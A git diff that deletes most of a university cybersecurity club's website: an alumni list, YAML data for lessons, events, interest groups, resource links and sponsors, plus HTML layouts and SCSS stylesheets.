2021 - name: Connor Leavesley - - year: 2021 - name: Becca Fried - - year: 2021 - name: Julie McGlensey - - year: 2021 - name: Shannon McHale - - year: 2021 - name: Zach Jorgensen - - year: 2021 - name: Emily Wu - - year: 2021 - name: Simon Buchheit - - year: 2021 - name: Joshua Niemann - - year: 2021 - name: Adriano DeCastro - - year: 2021 - name: Jared Albert - - year: 2021 - name: Ali Alamri - - year: 2021 - name: Adin Drabkin - - - year: 2020 - name: Ian Furr - - year: 2020 - name: Quintin Walters - - year: 2020 - name: Owen Siebert - - year: 2020 - name: Brandon Adler - - year: 2020 - name: Jack McKenna - - year: 2020 - name: Kyle Schleich - - year: 2019 - name: Scott Brink - - year: 2019 - name: Micah Martin - - year: 2019 - name: Jim Maskelony - - year: 2019 - name: Nick O’Brien - - year: 2018 - name: Kyle Carretto - - year: 2018 - name: Lucas Christian - - year: 2014 - name: Daniyal Syed - - year: 2012 - name: Ryan Peck - - year: 2012 - name: Brian Muller - - year: 2012 - name: Corey Sinay - - year: 2012 - name: Rusty Bower - - year: 2012 - name: Zack Allen - - year: 2012 - name: James Gimbi - - year: 2012 - name: Kirk Pinto - - year: 2012 - name: James Brigden - - year: 2012 - name: David Pearson - - year: 2011 - name: Michael Tortora - - year: 2011 - name: Susy Munoz - - year: 2011 - name: Silas Cutler - - year: 2011 - name: Jacob Ruppal - - year: 2011 - name: Jacob Valletta - - year: 2011 - name: Alex Shagla-McKotch - - year: 2010 - name: Liz Kiewiet - - year: 2010 - name: Tim Guyot - - year: 2010 - name: Gerry Brunelle - - year: 2010 - name: Conner Finlay - - year: 2010 - name: Josh Smith - - year: 2010 - name: Nathan Przybyszewski - - year: 2009 - name: Aidan Blake - - year: 2009 - name: Adam Burke - - year: 2009 - name: Alex Getty - - year: 2008 - name: Jason Batchelor - - year: 2007 - name: Derek Anderson - - year: 2007 - name: Nick Carpenter - - year: 2006 - name: Sara Berg - - year: 2006 - name: Greg Snyder - - year: 2006 - name: Brian Luteran - - year: 2006 - name: Jim Farrelly - - year: 2006 - name: Jeff Volante - - year: 2006 - name: Aron Stern - - year: 2005 - name: Blake Darche - - year: 2004 - name: Matthew Repicky - - year: 2004 - name: Steve Frank - - year: 2004 - name: Keith LeClaire Jr. - - year: 2003 - name: Alex Moundalexis - - year: 2003 - name: Aksh Sehgal - - year: 2003 - name: Jeremy Beyette diff --git a/_data/education.yml b/_data/education.yml deleted file mode 100644 index 6def4a17..00000000 --- a/_data/education.yml +++ /dev/null @@ -1,154 +0,0 @@ ---- -sections: - - title: Spring 2026 - description: - Education Slides - more about some of our favorite topics with our - project-focused education system - sets: - - title: Week 1 | Intro to Ops - description: Introduction to Ops - lessons: - - title: Education Slides - description: Introduction to Ops - url: https://docs.google.com/presentation/d/12sa6PnpnNiof13Ip_wCSu9uFcNjIXGWqKJjZlxgJSwI/edit?slide=id.g38da96f4c2a_0_604#slide=id.g38da96f4c2a_0_604 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 2 | Penteration Testing - description: Penteration Testing - lessons: - - title: Education Slides - description: Penteration Testing - url: https://docs.google.com/presentation/d/1w_KRCtv4oZpnsXQB2CuwM-1rjo9WnMoJX8l_nk9ZkMU/edit - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 3 | Web3 Security - description: Web3 Security - lessons: - - title: Education Slides - description: Web3 Security - url: https://docs.google.com/presentation/d/13nXXHyiZZnpkej7JUqYfsXenCswZ3GoOffN0rzu7xXM/edit - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 4 | OT Security - description: OT Security - lessons: - - title: Education Slides - description: OT Security - url: https://docs.google.com/presentation/d/1KZTbm6Sw0srkcW9tJgRdafkL1yNHRHeYmHAvpOlMhFA/edit?slide=id.g38da96f4c2a_0_604#slide=id.g38da96f4c2a_0_604 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - - title: Fall 2025 - description: - Education Slides - more about some of our favorite topics with our - project-focused education system - sets: - - title: Week 1 | Intro to RITSEC - description: Introduction to RITSEC - lessons: - - title: Education Slides - description: Welcome to RITSEC (2025-2026) - url: https://docs.google.com/presentation/d/1FTrOHBGc8fqchM6ScoFtfYr96FoHx0uIb3_nKTLp_GE/edit?slide=id.g1e7aa6c9685_0_0#slide=id.g1e7aa6c9685_0_0 - - title: Demo Challenges - description: No VM needed this week! - url: https://flags.ritsec.club - - title: Week 2 | Intro to CSEC - description: Introduction to Cybersecurity - lessons: - - title: Education Slides - description: Introduction to Cybersecurity - url: https://docs.google.com/presentation/d/1XOdJYfZYkPdp2csiPy7rtz7sXloQrdAJNsp_RyBHLcc/edit?slide=id.g1e7aa6c9685_0_0#slide=id.g1e7aa6c9685_0_0 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 3 | Intro to Linux - description: Introduction to Linux - lessons: - - title: Education Slides - description: Introduction to the Linux Operating System - url: https://docs.google.com/presentation/d/1BylGCmyZDcSzIPrq7tFQeeLfUrERDSdk1k1suUavcJg/edit?slide=id.g1e7aa6c9685_0_0#slide=id.g1e7aa6c9685_0_0 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 4 | Intro to Windows - description: Introduction to Windows - lessons: - - title: Education Slides - description: Introduction to the Windows Operating System - url: https://docs.google.com/presentation/d/1Gv4KzZHQlNQM3G0nyRA0-gXx4TQeVRYAypddDSuz_90/edit?slide=id.g1e7aa6c9685_0_0#slide=id.g1e7aa6c9685_0_0 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 5 | Intro to Networking - description: Introduction to Networking - lessons: - - title: Education Slides - description: Introduction to Networking - url: https://docs.google.com/presentation/d/1PQ1S-k2qqt0mQIK4Kk2X94ionfNHQUSufSjI6o4ZENM/edit?slide=id.g1e7aa6c9685_0_0#slide=id.g1e7aa6c9685_0_0 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 6 | Career Fair Prep - description: Career Fair Preparations - lessons: - - title: Education Slides - description: Preparation for the Fall 2025 Career Fair - url: https://docs.google.com/presentation/d/14XDgC3sirOr2Wz6Z_pWCpCwcL76JZzITUtN52XtLpPA/edit?slide=id.g1e7aa6c9685_0_0#slide=id.g1e7aa6c9685_0_0 - - title: Week 7 | Intro to Core Services - description: Introduction to Core Services - lessons: - - title: Education Slides - description: Introduction to Core Services - url: https://docs.google.com/presentation/d/15up682g7ttvppNp4yHaBy9t0P7SNyTGoxILy_NjUlEY/edit?slide=id.g1e7aa6c9685_0_0#slide=id.g1e7aa6c9685_0_0 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 8 | Intro to Cloud - description: Introduction to Cloud Services - lessons: - - title: Education Slides - description: Introduction to Cloud - url: https://docs.google.com/presentation/d/1LZ-vWZG1iSom3b9RMl6CH8DZe_w65mplvyd3agcyH50/edit?slide=id.g38f20c7b97a_0_412#slide=id.g38f20c7b97a_0_412 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 9 | Intro to Blue Team - description: Introduction to Blue Teaming - lessons: - - title: Education Slides - description: Introduction to Blue Teaming - url: https://docs.google.com/presentation/d/1jSgjJ1nGZNnfu5AvSsUsyqKU4IBw2tZHBBH_VeIUIuI/edit?slide=id.g38f20c7b97a_0_412#slide=id.g38f20c7b97a_0_412 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 10 | Intro to Black Team - description: Introduction to Black Teaming - lessons: - - title: Education Slides - description: Introduction to Black Teaming - url: https://docs.google.com/presentation/d/1nUrVO8Nz2JvkDHfWaJpK19tUFgWLEbp-fx3RJTcnZNc/edit?slide=id.g38f20c7b97a_0_412#slide=id.g38f20c7b97a_0_412 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 11 | Hardware Security - description: Hardware Security Fundamentals - lessons: - - title: Education Slides - description: Hardware Security Fundamentals - url: https://docs.google.com/presentation/d/1_J8Tr370di-4vF6po9H_WcUZzB6T_J395gCfwbbezeE/edit?slide=id.g38f20c7b97a_0_412#slide=id.g38f20c7b97a_0_412 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club - - title: Week 12 | Artificial Intelligence in Cybersecurity - description: Introduction to Artificial Intelligence in Cybersecurity - lessons: - - title: Education Slides - description: Artificial Intelligence in Cybersecurity - url: https://docs.google.com/presentation/d/1PQskkLsIpFj3Y83pSQOsOz815xBcYz3mLW1QF7ved-0/edit?slide=id.g38f20c7b97a_0_412#slide=id.g38f20c7b97a_0_412 - - title: Demo Challenges - description: Deploy the VM from the stack - url: https://flags.ritsec.club diff --git a/_data/events.yml b/_data/events.yml deleted file mode 100644 index 172f15f2..00000000 --- a/_data/events.yml +++ /dev/null @@ -1,44 +0,0 @@ -sections: - - title: Events - description: Our upcoming events, including meetings and competitions. - - events: - - title: ISTS - date: February 27th-March 1st, 2026 - location: Rochester, NY (Invite Only) - image: "assets/images/ists2025.jpg" - url: https://ists.io/ - - - title: IRSeC - date: November 1st, 2025 - location: Rochester, NY - image: "assets/images/irsec2024.jpg" - url: https://irsec.club/ - - - title: Weekly Education Meeting - date: Fridays 12:00-2:30 PM - location: Rochester, NY - image: "assets/images/education.jpg" - url: https://twitch.tv/ritsec - - - title: Weekly Research Meeting - date: Fridays 2:30-4:00 PM - location: Rochester, NY - image: "assets/images/research.jpg" - url: https://twitch.tv/ritsec - - - title: RITSEC CTF - date: April 3rd-5th, 2026 - location: Virtual & Rochester, NY - image: "assets/images/ritsec_ctf_2026.png" - url: https://ctf.ritsec.club - - - title: Virtual Career Fair Eve - date: 6:00-8:00 PM October 6th, 2025 - location: Virtual & Rochester, NY - image: "assets/images/ritsec_logo_final-07.png" - - - title: In-Person Career Fair Eve - date: 6:00-8:00 PM October 7th, 2025 - location: Rochester, NY - image: "assets/images/cfe2024.JPEG" diff --git a/_data/gallery.yml b/_data/gallery.yml deleted file mode 100644 index 64d3bb6e..00000000 --- a/_data/gallery.yml +++ /dev/null @@ -1,12 +0,0 @@ -sections: - - title: Gallery - - photos: - - image: "assets/images/ists2025.jpg" - title: "ISTS 2025" - caption: "The Information Security Talent Search (ISTS) is a three-day cybersecurity competition held each spring at RIT. Teams from RIT and universities nationwide face a wide range of challenges designed to span many aspects of the security industry. Competitors test their incident response skills and offensive capabilities through a CTF, King-of-the-Hill (KoTH), business report writing, and a themed game—all while defending a fully student-built infrastructure." - link: https://ists.io/ - - image: "assets/images/irsec2024.jpg" - title: "IRSeC 2024" - caption: "The Incident Response Security Competition (IRSeC) is our internal beginner-friendly red vs. blue competition, hosted in the fall semester at RIT. Through IRSeC, we aim to provide RIT students with some initial defensive and incident response experience. IRSeC also features an entirely student-run red team comprised of RITSEC members." - link: https://irsec.club/ \ No newline at end of file diff --git a/_data/groups.yml b/_data/groups.yml deleted file mode 100644 index ebf9a40c..00000000 --- a/_data/groups.yml +++ /dev/null @@ -1,50 +0,0 @@ -sections: - - title: Groups - - title: Partnerships - groups: - - name: WiCyS @ RIT - meeting_time: Monday 4:00-5:00PM GOL-2730 - description: The WiCyS RIT Student Chapter is an all-inclusive interest group within RITSEC dedicated to making RIT’s Computing Security program more equitable. The chapter holds meetings and social events for students to come together and share their passion for security while creating a supportive network. - - title: Competition Teams - groups: - - name: Collegiate Cyber Defense Competition (CCDC) - meeting_time: - description: Our CCDC team trains throughout the year for competitions that focus on securing and managing a fictitious corporate network. While defending against real-time cyber attacks from industry red teamers, the team must also keep critical services up and balance security with business needs. We host team tryouts every fall semester and meet weekly to prepare for the competition. - - name: Collegiate Penetration Testing Competition (CPTC) - meeting_time: - description: The Collegiate Penetration Testing Competition (CPTC) is a national collegiate competition that focuses on the offensive aspects of cybersecurity. The competition simulates a real-world environment where students are tasked with attacking a network and finding vulnerabilities. Additionally, they must write reports on every vulnerability they discover. The CPTC team meets weekly to prepare. - - title: Interest Groups - groups: - - name: Red Team Recruiting - meeting_time: Wednesday 6:00-7:00PM CYB-2750 - description: Red Team is the hub for all things red teaming at RIT. We develop robust red team tools, infrastructure, and implants to play the role of an effective adversary in a red vs blue competition setting. We research and implement the latest techniques to pull networks apart and build them back better. As an RITSEC interest group we focus on developing offensive security skills, working as a team, and having fun! As an RITSEC interest program we focus on developing offensive security skills, working as a team, and having fun! - - name: Incident Response IG - meeting_time: Monday 6:30-7:30PM CYB-2780 - description: The incident response interest group focuses on all topics related to cyber incidents. This includes topics such as SANS PICERL & NIST Frameworks, SOC/SIEM/SOAR monitoring tools, forensics analysis, log analysis, and cyber defense techniques. We love Blue teaming and getting hands on experiences such as competitons that that can lead to a greater understanding of incident response in the professional setting. Anyone interested in Incident response, blue team, or even cyber security in general is encouraged and welcome to join. - - name: Physical Security - meeting_time: Tuesday 5:30-6:30PM CYB-2780 - description: In Physical Security Interest group you will learn all the basics of the world outside of the computer. You will learn to pick locks, alternative entry methods and many other things that computing security experts don't tend to think of when they are securing a system. Any level is welcome to come learn! - - name: Team Contagion - meeting_time: Thursday 5:00-6:00PM CYB-1710 - description: Contagion represents RITSEC in a variety of Capture the Flag (CTF) competitions. We compete at different ranges of difficulty and on both the national and international levels. Everyone is welcome to join at any skill level as we provide weekly educational presentations and demos. - - name: OT Security - meeting_time: Tuesday 5:00-6:00PM CYB-2750 - description: Operational Technology (OT) Security protects the computers and machines that control real-world things like power plants, water treatment facilities, traffic lights, and factory machines. - - name: Zero-to-Hero IG - meeting_time: Thursday 6:00-7:00PM CYB-2750 - description: Learn a little bit of everything. Build the foundation you need to go above and beyond in cybersecurity. Discover what your passion is in cybersecurity. - - name: Wireless IG - meeting_time: Thursday 4:00-5:00PM CYB-2780 - description: The Wireless Interest Group (aka Wiggles) focuses on all thing wireless. We focus more on cybersecurity related topics in wireless but we also go outside of this realm covering all things wireless and RF. Anyone interested in the topic or learning more is welcome to join! - - name: Operations IG - meeting_time: Tuesday 6:30-7:30PM CYB-2780 - description: The operations interest group focuses on various topics related to RITSEC's infrastructure. These topics could be related to hardware, virtualization, networking, automation, cloud computing, and server management. During our meeting time, we will cover a wide variety of these topics. Lastly, the OPS IG will be a pipeline to the OPS Program. - - name: Reversing IG - meeting_time: Monday 6:00-8:00PM CYB-1710 - description: The Reversing Interest Group revolves around the in-depth knowledge of binary applications and ultimately reversing malware. Topics such as assembly, executable formats, malware tactics, and much more will be discussed over the entire program's running. All are welcome from first years on no matter the knowledge level. - - name: Vulnerability Research - meeting_time: Tuesday, Thursday 7:00-10:00PM CYB-2750 - description: To introduce members of the club to the concepts of vulnerability and security research. This includes concepts such as bug bounties, code analysis, and fuzzing. - - name: RVAPT - meeting_time: Wednesday 6:00-7:00PM CYB-2780 - description: At RVAPT, we learn how to find and exploit vulnerabilities in networks and associated services by hands on custom labs. Each week we learn one to two ways to break in into a network and keep building up on it through out the semester. \ No newline at end of file diff --git a/_data/home.yml b/_data/home.yml deleted file mode 100644 index 483c5c71..00000000 --- a/_data/home.yml +++ /dev/null @@ -1,38 +0,0 @@ -sections: - # Intro Section - - title: RITSEC - description: Security Through Community - - slideshow: - - /assets/images/slideshow/image1.jpg - - /assets/images/slideshow/image2.jpg - - /assets/images/slideshow/image3.jpg - - /assets/images/slideshow/image4.jpg - - /assets/images/slideshow/image5.jpg - - /assets/images/slideshow/image6.jpg - - /assets/images/slideshow/image7.jpg - - # About Section - - title: About Us - description: RITSEC is a student club dedicated to teaching "Security Through Community." RITSEC is dedicated to educating and preparing RIT students to compete in security-related competitions, as well as showcasing RIT student talent in the current world of security today. Whether you're new to computing security or a veteran, RITSEC has a place for you. All of the activities we host to promote this learning can be found on our 'Events' page. - - buttons: - - content: Learn More - url: /about.html - - # Events Section - - title: Upcoming Events - - empty_message: There aren't any upcoming events, check back soon! # Message if there are no events - - # Sponsors Section - - title: Our Sponsors - - # Join Section - - title: Join us! - - buttons: - - content: Discord - url: "http://discord.ritsec.club" - - content: Calendar - url: "http://calendar.ritsec.club" diff --git a/_data/links.yml b/_data/links.yml deleted file mode 100644 index dcd53748..00000000 --- a/_data/links.yml +++ /dev/null @@ -1,156 +0,0 @@ -sections: - - title: Resources - description: General security resources that members of the club have found useful for learning computing security skills. - - - title: Dev Tools for Students - description: Free development tools for students! - - links: - - title: GitHub Developer Pack - description: Free access to dev tools, server hosting, Copilot, and more! - url: https://education.github.com/pack - - - title: Azure Student Devtools - description: Countless free Microsoft licenses and development tools! - url: https://azureforeducation.microsoft.com/devtools - - - title: Coding - description: Let's get started with some fresh coding! - - links: - - title: Missing @ CSAIL - description: Cover the entirety of your CS education in a month! - url: https://missing.csail.mit.edu/ - - - title: edX - description: Harvard's FREE coding course. - url: https://www.edx.org/ - - - title: FreeCodeCamp - description: Lessons, certificates, and coding interview prep. - url: https://www.freecodecamp.org/ - - - title: Advent of Code - description: 25 challenges to get you through the holidays! - url: https://adventofcode.com/ - - - title: Intro to Linux - description: Resources for getting started in Linux. - - links: - - title: Over the Wire - description: Want to learn Linux? Go Zero to Hero with OverTheWire! - url: https://overthewire.org/wargames/bandit/ - - - title: Linux Journey - description: Want to focus on learning specific parts of Linux? - url: https://linuxjourney.com/ - - - title: Student Discounts - description: Take advantage of your student status! - - links: - - title: Hack the Box Academy - description: Get discounted subscriptions for HTB Academy! - url: https://help.hackthebox.com/en/articles/7973133-getting-the-student-subscription - - - title: TryHackMe - description: 20% off annual TryHackMe subscriptions! - url: https://help.tryhackme.com/en/articles/6494960-student-discount - - - title: Burp Suite Pro – 1 Month - description: 1 month of free web pwning with pro features! - url: https://portswigger.net/requestfreetrial/pro - - - title: Caido – 1 Year Free - description: 1 free year of a great web app pentesting tool! - url: https://caido.io/pricing - - - title: Maltego – Student Grant - description: Get free access to one of the most powerful OSINT tools! - url: https://www.maltego.com/maltego-grants/ - - - title: Shodan Membership – Free - description: See every device on the internet! A powerful OSINT tool - url: https://help.shodan.io/the-basics/account-faq - - - title: Intro to Web - description: Resources for getting started in Web Security. - - links: - - title: HackSplaining - description: Want to learn web exploitation? This is your resource! - url: https://www.hacksplaining.com/lessons - - - title: PentesterLab - description: Want to learn how to hack Web? PentesterLab has everything! - url: https://pentesterlab.com/ - - - title: Red Teaming / Penetration Testing - description: Tools and learning for red teaming and offensive security. - - links: - - title: RITSEC Red Team - description: All of RITSEC Red Team's public tools. - url: https://github.com/ritredteam/ - - - title: Hack the Box - description: Want to develop your pentesting skills? HTB is your place! - url: https://www.hackthebox.com/ - - - title: Windows Security Resources - description: A list of Windows security and hacking resources. - url: https://github.com/chryzsh/awesome-windows-security - - - title: Windows Red Team Resources - description: Windows Red Team and pentesting resources! - url: https://github.com/marcosValle/awesome-windows-red-team - - - title: IRed - description: Various tools and techniques used by PenTesters/RedTeamers. - url: https://ired.team/ - - - title: Internet of Things (IoT) - description: Learn about hacking all hardware connected to the Internet! - - links: - - title: Awesome Embedded and IoT Security - description: A list of awesome resources to learn everything IoT! - url: https://github.com/fkie-cad/awesome-embedded-and-iot-security - - - title: Networking - description: Learn more about how the beep boops connect! - - links: - - title: IT Security Lecture - description: Demos and info on OSI, VPN, Wireshark, and wireless! - url: https://github.com/bkimminich/it-security-lecture/blob/master/slides/01-04-network_security.md - - - title: Cloud Security - description: We don’t use servers! We use the cloud! The future is NOW! - - links: - - title: Puresec - description: AWS, Azure, Google Cloud, and other resources! - url: https://github.com/puresec/awesome-serverless-security - - - title: AWS Educate - description: Free labs and cloud skills development for students! - url: https://aws.amazon.com/education/awseducate/ - - - title: Azure for Students - description: Free $100 Azure credit and Azure services! - url: https://azure.microsoft.com/en-us/free/students - - - title: Bug Bounties - description: Hack sites, get money $$$ - - links: - - title: Awesome Bug Bounty - description: List of bug bounty reports. Get started here! - url: https://github.com/djadmin/awesome-bug-bounty - - - title: Hacker101 - description: Learn the basics of web security, participate in bug bounties! - url: https://www.hacker101.com/ - diff --git a/_data/sponsors.yml b/_data/sponsors.yml deleted file mode 100644 index b9825d2a..00000000 --- a/_data/sponsors.yml +++ /dev/null @@ -1,110 +0,0 @@ -sections: - - title: Sponsors - description: - - tier: - # Titanium: - # - title: - # image: - # url: - - Diamond: - - title: Security Risk Advisors - image: /assets/images/sponsors/sra.png - url: https://sra.io/ - - - title: Eaton Corporation - image: /assets/images/sponsors/eaton.png - url: https://www.eaton.com/us/en-us.html - - Platinum: - - - title: Battelle - image: /assets/images/sponsors/battelle.jpg - url: https://www.battelle.org/ - - - title: FM - image: /assets/images/sponsors/fm.png - url: https://www.fm.com/ - - - title: ICR Inc. - image: /assets/images/sponsors/icrinc.jpg - url: https://icr-team.com/ - - - title: Amplify - image: /assets/images/sponsors/amplify.jpeg - url: https://amplify.com/ - - - title: Datadog - image: /assets/images/sponsors/datadog.png - url: https://www.datadoghq.com/ - - Gold: - - title: Magnet Forensics - image: /assets/images/sponsors/magnet.png - url: https://www.magnetforensics.com/ - - - title: Research Innovations Incorporated - image: /assets/images/sponsors/rii.jpg - url: https://www.researchinnovations.com/ - - - title: M&T Bank - image: /assets/images/sponsors/mt.png - url: https://www.mtb.com/ - - - title: Miscreants - image: /assets/images/sponsors/miscreants.svg - url: https://www.miscreants.co/ - - - title: American Express - image: /assets/images/sponsors/amex.png - url: https://www.americanexpress.com/ - - - title: Sharad Khanna - image: /assets/images/sponsors/sharad.jpg - url: https://www.linkedin.com/in/khanna-sharad/ - - Silver: - - title: Travelers Insurance - image: /assets/images/sponsors/travelers.png - url: https://www.travelers.com/ - - - title: Lockheed Martin - image: /assets/images/sponsors/lockheed.jpg - url: https://www.lockheedmartin.com/ - - - title: Wings Over - image: /assets/images/sponsors/wingsover.png - url: https://wingsover.com/ - - - title: Mindex - image: /assets/images/sponsors/mindex.jpeg - url: https://www.mindex.com/ - - Educational: - - - title: Crowdstrike - image: /assets/images/sponsors/crowdstrike.png - url: https://www.crowdstrike.com/ - - - - title: Hack The Box - image: /assets/images/sponsors/hackthebox.png - url: https://www.hackthebox.com/ - - - title: Bugcrowd - image: /assets/images/sponsors/bugcrowd.jpg - url: https://www.bugcrowd.com/ - - - title: MetaCTF - image: /assets/images/sponsors/metactf.png - url: https://metactf.com/ - - - title: No Starch Press - image: /assets/images/sponsors/nostarchpress.png - url: https://nostarch.com/ - - - title: Fortra - image: /assets/images/sponsors/fortra-logo-forest-green.png - url: https://fortra.com/ - diff --git a/_includes/footer.html b/_includes/footer.html deleted file mode 100644 index b3b20946..00000000 --- a/_includes/footer.html +++ /dev/null @@ -1,151 +0,0 @@ - diff --git a/_includes/head.html b/_includes/head.html deleted file mode 100644 index f0b9cc8f..00000000 --- a/_includes/head.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - {%- seo -%} - - - - - diff --git a/_includes/header.html b/_includes/header.html deleted file mode 100644 index 4e61824f..00000000 --- a/_includes/header.html +++ /dev/null @@ -1,45 +0,0 @@ -{%- assign default_paths = site.pages | map: "path" -%} {%- assign page_paths = -site.header_pages | default: default_paths -%} {%- assign titles_size = -site.pages | map: 'title' | join: '' | size -%} - diff --git a/_layouts/default.html b/_layouts/default.html deleted file mode 100644 index eb61a306..00000000 --- a/_layouts/default.html +++ /dev/null @@ -1,20 +0,0 @@ - - - - {%- include head.html -%} - - - - {%- include header.html -%} - -
- {{ content }} -
- - {%- include footer.html -%} - - - - - - diff --git a/_sass/init.scss b/_sass/init.scss deleted file mode 100644 index 272f0963..00000000 --- a/_sass/init.scss +++ /dev/null @@ -1,51 +0,0 @@ -@charset "utf-8"; - -// Default variables - -html { - transition: all 0.3s ease; -} - -// Dark mode styles -html { - // Base variables - --background-color: #0d0d0f; - --background-image: url(/assets/images/bg-dark.svg); - --border-color: rgba(255, 255, 255, 0.1); - --text-color: #ffffff; - --light-text-color: #ccc; - --link-color: #ff7613; - --card-color: #26262b; - --card-color-light: #2d2d33; - - // Header variables - --header-color: rgba(18, 16, 19, 0.35); - --header-color-mobile: rgba(18, 16, 19, 0.95); - // --header-image-url: url(/assets/images/ritsec_logo_final-05.png); - --header-image-url: url(/assets/images/ritsec_logo_final-05.png); //Halloween Logo -} - html.light { - // Base variables - --background-color: #F1F1F1; - --background-image: url(/assets/images/bg-light.svg); - --border-color: rgba(0, 0, 0, 0.1); - --text-color: #000000; - --light-text-color: #525252; - --link-color: #ff7613; - --card-color: #f3f3f4; - --card-color-light: #e2e2e7; - - // Header variables - --header-color: rgba(211, 210, 211, 0.35); - --header-color-mobile: rgba(211, 210, 211, 0.95); - // --header-image-url: url(/assets/images/ritsec_logo_final-05.png); - --header-image-url: url(/assets/images/ritsec_logo_final-05.png); //Halloween Logo - - // Home page variables - --gradient-1: #e6e6e6; - --gradient-2: #cbcbcb; - --gradient-3: #b2b2b2; - } - -@import "main", "pages/home", "pages/about", "pages/education", "pages/events", "pages/gallery", "pages/links", "pages/sponsors", - "pages/alumni", "pages/groups"; diff --git a/_sass/main.scss b/_sass/main.scss deleted file mode 100644 index 41480c31..00000000 --- a/_sass/main.scss +++ /dev/null @@ -1,439 +0,0 @@ -*, -*::before, -*::after { - box-sizing: inherit; -} - -* { - box-sizing: border-box; - vertical-align: baseline; - font-weight: inherit; - font-family: inherit; - font-style: inherit; - font-size: 16px; - border: 0 none; - outline: 0; - padding: 0; - margin: 0; -} - -html, -body { - width: 100%; - overflow-x: hidden; -} - -/** Scrollbar **/ -// ::-webkit-scrollbar { -// width: 0; -// -webkit-appearance: none; -// } - -/** Links **/ -:link { - color: var(--text-color); - opacity: 1; - transition: 0.1s ease-in-out; - - &:hover { - opacity: 0.7; - } -} - -body { - margin: 0; - padding: 0; - font-family: "JetBrains Mono", Monospace, Sans-Serif; - font-weight: 400; - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; - overflow-wrap: break-word; - color: var(--text-color); - background-image: var(--background-image); - background-attachment: fixed; - max-width: 100%; - height: 100%; - min-height: 100%; - display: flex; - flex-direction: column; - overflow-x: hidden; -} - -/** Header **/ -.header { - position: sticky; - width: 100%; - min-height: 64px; - z-index: 100; - top: 0; - display: flex; - align-items: center; - - background-color: var(--header-color); - backdrop-filter: blur(16px); - border-bottom: 1px solid transparent; - transition: all 0.15s ease-in-out; -} - -.border-bottom { - border-bottom: 1px solid var(--border-color); -} - -.header-wrapper { - display: flex; - flex: 1 1; - justify-content: space-evenly; - align-items: center; - max-width: 80rem; - margin: 0 auto; - padding: 0 16px; -} - -.header-image-container { - width: 80%; - z-index: 105; -} - -.header-image-container, -.header-image-container a { - display: flex; - align-items: center; - height: 100%; -} - -.header-image { - // width: 264px; - height: 48px; - content: var(--header-image-url); - z-index: 105; -} - -.navbar-slash { - color:#E69132; -} - -.navbar-links { - display: flex; - justify-content: space-around; - width: 65%; - z-index: 20; - - li { - list-style: none; - } - - a { - display: flex; - color: var(--text-color); - opacity: 0.7; - text-decoration: none; - font-size: 1rem; - font-weight: 600; - margin-left: 1rem; - - transition: 0.15s ease-in-out; - - &:hover { - opacity: 1; - } - } -} - -.navbar-burger { - display: none; - cursor: pointer; - z-index: 20; - - div { - width: 25px; - height: 2px; - background-color: var(--text-color); - opacity: 0.7; - margin: 5px; - transition: all 0.3s ease; - } -} - -@media screen and (max-width: 1024px) { - body { - overflow-x: hidden; - } - - .navbar-links { - position: absolute; - top: 0; - right: 0; - height: 100vh; - background-color: var(--header-color-mobile); - backdrop-filter: blur(16px); - border-left: 1px solid var(--border-color); - display: flex; - flex-direction: column; - justify-content: start; - gap: 20px; - padding-top: 64px; - z-index: 15; - width: 40%; - - transform: translateX(100%); - transition: transform 0.5s ease-in-out; - - li { - opacity: 0; - } - } - - .navbar-burger { - display: block; - } -} - -.navbar-active { - transform: translateX(0); -} - -.navbar-burger-active { - .line-1 { - transform: rotate(-45deg) translate(-5px, 5px); - } - .line-2 { - opacity: 0; - } - .line-3 { - transform: rotate(45deg) translate(-5px, -5px); - } -} - -// .navbar-theme-toggle_container { -// height: 100%; -// border: 1px solid blue; -// display: flex; -// justify-content: center; -// align-items: center; -// } - -// .navbar-theme-toggle { -// cursor: pointer; -// border: 1px solid red; -// width: 16px; -// height: 16px; -// fill: var(--text-color); -// opacity: 0.7; - -// transition: 0.15s ease-in-out; - -// &:hover { -// opacity: 1; -// } -// } - -@keyframes navbar-link-fade { - from { - opacity: 0; - transform: translateX(50px); - } - to { - opacity: 1; - transform: translateX(0); - } -} - -/** Footer **/ -.site-footer { - background: var(--background-color); - height: auto; - width: 100%; - padding: 1rem; - border-top: 1px solid var(--border-color); - display: flex; - align-items: center; -} - -.footer-wrapper { - width: 100%; - max-width: 48rem; - margin: 0 auto; - display: flex; - flex-direction: column; - align-items: center; - text-align: center; -} - -.footer-info-container { - width: 100%; - height: 100%; - display: flex; - align-items: center; - text-align: left; - - @media (max-width: 576px) { - flex-direction: column; - text-align: center; - } -} - -.footer-title-container { - width: 100%; - height: 100%; - display: flex; - flex-direction: column; - align-items: flex-start; - - @media (max-width: 576px) { - justify-content: center; - align-items: center; - flex-direction: row; - gap: 12px; - margin-bottom: 8px; - } -} - -.footer-title { - color: var(--text-color); - font-size: 1.5rem; - font-weight: 700; - margin-bottom: 4px; -} - -.footer-description-container { - width: 100%; - height: 100%; - font-size: 1rem; - color: var(--text-color); - opacity: 0.75; - - @media (max-width: 576px) { - font-size: 0.85rem; - } -} - -.email:link { - color: var(--text-color); - text-decoration: underline; - text-decoration-color: var(--link-color); - opacity: 0.7; - transition: 0.1s ease-in-out; -} - -.email:hover { - color: var(--link-color); - opacity: 1; -} - -.email:visited { - color: var(--link-color); -} - -.footer-social-container { - width: 100%; - height: 100%; - margin-top: 20px; - - display: flex; - flex-direction: row; - justify-content: center; - 